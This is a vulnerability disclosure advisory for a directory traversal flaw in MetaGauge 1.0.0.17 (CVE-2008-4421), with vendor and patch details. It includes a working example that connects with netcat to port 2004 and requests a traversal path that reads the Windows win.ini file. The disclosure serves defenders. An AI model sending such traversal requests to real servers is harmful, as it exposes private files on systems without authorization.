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MetaGauge 1.0.0.17 Directory Traversal



Title: MetaGauge 1.0.0.17 Directory Traversal

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Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in 
the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and 
potentially below) which allows a remote user to view files local to the target 
server. 

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz@xxxxxxxxxxxxxx